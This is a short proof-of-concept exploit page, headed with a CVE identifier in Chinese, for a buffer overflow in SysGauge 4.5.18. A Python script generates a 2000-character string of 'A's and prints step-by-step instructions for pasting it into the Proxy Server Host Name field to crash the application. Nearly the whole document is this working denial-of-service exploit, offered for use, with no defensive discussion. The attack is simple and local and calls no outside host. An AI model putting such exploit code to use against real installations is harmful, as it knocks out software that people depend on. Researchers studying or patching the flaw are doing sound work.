CVE-2018-25313 SysGauge缓冲区溢出漏洞

import sys # PoC for SysGauge 4.5.18 Buffer Overflow (DoS) # Description: This script generates a payload to crash SysGauge via the Proxy Host Name field. def generate_payload(length=2000): # Generate a large string of 'A' characters to trigger the overflow return "A" * length if __name__ == "__main__": print("[+] SysGauge 4.5.18 Buffer Overflow PoC") print("[+] Generating payload...") # 2000 bytes is usually sufficient to trigger overflow in simple cases payload = generate_payload(2000) print(f"[+] Payload length: {len(payload)} bytes") print("[+] Instruction:") print("1. Open SysGauge application.") print("2. Go to 'Options' menu.") print("3. Find 'Proxy Server Host Name' field.") print("4. Paste the payload below and save/apply.") print("[+] Payload:") print(payload)